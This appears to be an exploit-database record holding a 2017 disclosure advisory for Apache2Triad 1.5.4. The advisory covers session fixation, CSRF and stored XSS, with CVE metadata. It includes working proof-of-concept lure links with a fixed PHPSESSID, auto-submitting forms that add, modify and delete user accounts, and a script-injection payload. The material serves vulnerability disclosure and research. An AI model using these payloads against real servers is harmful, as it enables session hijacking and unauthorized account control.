{"exploit":{"id":"EDB-42520","name":"Apache2Triad 1.5.4 - Session Fixation / Cross-Site Request Forgery (CSRF) / Stored Cross-Site Scripting (XSS)","description":"Apache2Triad 1.5.4 - Session Fixation / Cross-Site Request Forgery (CSRF) / Stored Cross-Site Scripting (XSS)","cves":["CVE-2017-12971","CVE-2017-12970","CVE-2017-12965"],"author":"hyp3rlinx","published":"2017-08-21","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/42520","path":"exploits/php/webapps/42520.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-42520.txt","vulnerabilities":[{"id":"CVE-2017-12971","state":"PUBLISHED","title":null,"titleSource":null,"description":"Cross-site scripting (XSS) vulnerability in Apache2Triad 1.5.4 allows remote attackers to inject arbitrary web script or HTML via the account parameter to phpsftpd/users.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-12971","cvss":{"version":"3.0","baseScore":6.1,"severity":"medium","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-12971"},"updatedAt":"2024-08-05T18:51:07.457Z","retrievedAt":"2026-11-27T07:20:28.010Z","stale":false,"error":null},{"id":"CVE-2017-12970","state":"PUBLISHED","title":null,"titleSource":null,"description":"Cross-site request forgery (CSRF) vulnerability in Apache2Triad 1.5.4 allows remote attackers to hijack the authentication of authenticated users for requests that (1) add or (2) delete user accounts via a request to phpsftpd/users.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-12970","cvss":null,"updatedAt":"2024-08-05T18:51:07.346Z","retrievedAt":"2026-11-27T07:31:41.028Z","stale":false,"error":"Some CVE details could not be refreshed"},{"id":"CVE-2017-12965","state":"PUBLISHED","title":null,"titleSource":null,"description":"Session fixation vulnerability in Apache2Triad 1.5.4 allows remote attackers to hijack web sessions via the PHPSESSID parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-12965","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-12965"},"updatedAt":"2024-08-05T18:51:07.271Z","retrievedAt":"2026-11-27T07:07:20.026Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-42520.png?v=2","url":"https://exploitbin.com/exploits/EDB-42520","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-42520/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-42520/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"[+] Credits: John Page AKA hyp3rlinx\n[+] Website: hyp3rlinx.altervista.org\n[+] Source:  http://hyp3rlinx.altervista.org/advisories/APACHE2TRIAD-SERVER-STACK-v1.5.4-MULTIPLE-CVE.txt\n[+] ISR: ApparitionSec\n\n\nVendor:\n===============\napache2triad.net\nhttps://sourceforge.net/projects/apache2triad/\n\n\n\nProduct:\n===========\nApache2Triad v1.5.4\n\nApache2Triad spells instant and facile deployment of web software on any windows server along the lines of the WAMP paradigm\nin a point and click manner in just minutes and is a ideal solution for the setup of server farms.\n\n\n\nVulnerability Type(s):\n======================\nSession Fixation\nCross Site Request Forgery\nPersistent Cross Site Scripting\n\n\nCVE Reference:\n==============\nCVE-2017-12965 (Session Fixation)\nCVE-2017-12970 (Cross Site Request Forgery)\nCVE-2017-12971 (Persistent Cross Site Scripting)\n\nThis application is old and not actively developed according to the website, yet it is still avail for download so\nI release the advisory.\n\n\nSecurity Issue(S):\n================\nCVE-2017-12965\n\nApache2Triad allows remote attackers to set an arbitrary PHPSESSID cookie, if a Apache2Triad user authenticates using the\nattacker controlled PHPSESSID the attacker can then access the Apache2Triad Web application with same level of access\nas that of the victim to potentially take over the Apache2Triad system.\n\ne.g.\n\nPre - Authentication\na4ce6912be9d29a9ba4106c989859e7b\n\nPost - Authentication\na4ce6912be9d29a9ba4106c989859e7b\n\nWe see the PHPSESSID is never regenerated, to make matters worse Apache2Triad will happily accept an abitrary attacker\nsupplied session cookie and persist it. Our evil cookie will get written here \"C:\\apache2triad\\temp\" as sess_HACKED123.\n\nset our cookie like,\n\nAttacker lure:\n<a href=\"http://VICTIM-IP/phpsftpd/?PHPSESSID=HACKED123\">Important message</a>\n\nVictim logs on using our lure.\n\nHTTP 200 OK\nResponse cookies\nPHPSESSID\nvalue\t\"HACKED123\"\npath\t\"/\"\nRequest cookies\nPHPSESSID\t\"HACKED123\"\n\n\nSince we control the PHP Session ID and it persists across applications we can then jump to \"phpxmail\"\nusing above session and have an authenticated session avail to do whatever we wish.\n\ne.g.\n\nhttp://VICTIM-IP/phpxmail/?PHPSESSID=HACKED123\n\nNow access some arbitrary application resource bypassing normal authentication.\nhttp://VICTIM-IP/phpxmail/main.php?action=servercmd\n\nTested successfully in Firefox, IE\n\n\nCVE-2017-12970\n\nRemote attackers who can trick an authenticated Apache2Triad user to visit a malicious webpage or link can execute HTTP Requests\non behalf of the authenticated user, attackers can then add or delete arbitrary users to the affected system.\n\nTested successfully in Firefox, IE\n\n\nCVE-2017-12971\n\nRemote attackers can execute arbitrary code that will run in the security context of the victims browser, if\nan authenticated user visits an attacker controlled webpage or link.\n\nSince Apache2Triad has Session Fixation flaw, we can leverage this to potentially bypass normal authentication.\nXSS payload will get written to the \"slimftpd.conf\" configuration file under \"C:\\apache2triad\\ftp\" directory.\n\ne.g.\n\n<User \"\\\"/><script>alert(document.cookie)</script>\">\n\n</User>\n\n\nTested successfully in Firefox\n\n\nExploit/POC(s):\n==============\nCVE-2017-12965 (Session Fixation)\n\n1) Create lure with a attacker controlled PHPSESSID, something like...\n\n<a href=\"http://VICTIM-IP/phpsftpd/?PHPSESSID=HACKED123\">You have new messages, logon to view</a>\n\n2) Authenticate to Apache2Triad using that link\n\n3) Open another Web Browser using above attacker supplied link. You can now access the vulnerable\napplication using same PHPSESSID session cookie from another browser.\n\n\nCVE-2017-12970 (CSRF)\n\nAdd user\n\n<form action=\"http://VICTIM-IP/phpsftpd/users.php\" method=\"post\">\n<input type=\"hidden\" name=\"account\" value=\"PWNU\">\n<input type=\"hidden\" name=\"create\" value=\"Create+New+User\">\n<script>//document.forms[0].submit()</script>\n</form>\n\nHTTP Response:\n\"The account PWNU was sucesfully created\"\n\nCreate  password\n\n<form action=\"http://VICTIM-IP/phpsftpd/users.php\" method=\"post\">\n<input type=\"hidden\" name=\"Username_d\" value=\"PWNU\">\n<input type=\"hidden\" name=\"Password_d\" value=\"abc123\">\n<input type=\"hidden\" name=\"update\" value=\"Update+Settings\">\n<input type=\"hidden\" name=\"account\" value=\"PWNU\">\n<input type=\"hidden\" name=\"instructions\" value=\"\">\n<script>//document.forms[1].submit()</script>\n</form>\n\nHTTP Response:\n\"The account PWNU was sucesfully updated\"\n\n\nDelete users\n\n<form action=\"http://VICTIM-IP/phpsftpd/users.php\" method=\"post\">\n<input type=\"hidden\" name=\"delete\" value=\"Yes\">\n<input type=\"hidden\" name=\"account\" value=\"PWNU\">\n<script>//document.forms[2].submit()</script>\n</form>\n\nHTTP Response:\n\"The account PWNU was sucesfully deleted\"\n\n\nCVE-2017-12971 (XSS)\n\n<form action=\"http://VICTIM-IP/phpsftpd/users.php\" method=\"post\">\n<input type=\"hidden\" name=\"account\" value='\"/><script>alert(document.cookie)</script>'>\n<input type=\"hidden\" name=\"create\" value=\"Create+New+User\">\n<script>document.forms[0].submit()</script>\n</form>\n\n\nHTTP Response example:\n\"PHPSESSID=HACKED123\"\n\n\nNetwork Access:\n===============\nRemote\n\n\n\nSeverity:\n=========\nHigh\n\n\n\nDisclosure Timeline:\n=============================\nVendor Notification: \"No longer being maintained\"\nAugust 21, 2017  : Public Disclosure\n\n\n\n[+] Disclaimer\nThe information contained within this advisory is supplied \"as-is\" with no warranties or guarantees of fitness of use or otherwise.\nPermission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and\nthat due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit\nis given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility\nfor any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information\nor exploits by the author or elsewhere. All content (c).\n\nhyp3rlinx","sha256":"bfb79a9381db6d9ebb8652a3085f866f9f81e34707f6e037a226b7c2eef3c656","bytes":6030,"fetchedAt":"2026-11-27T07:07:17.162Z","encoding":"utf-8 (display only; download retains original bytes)"}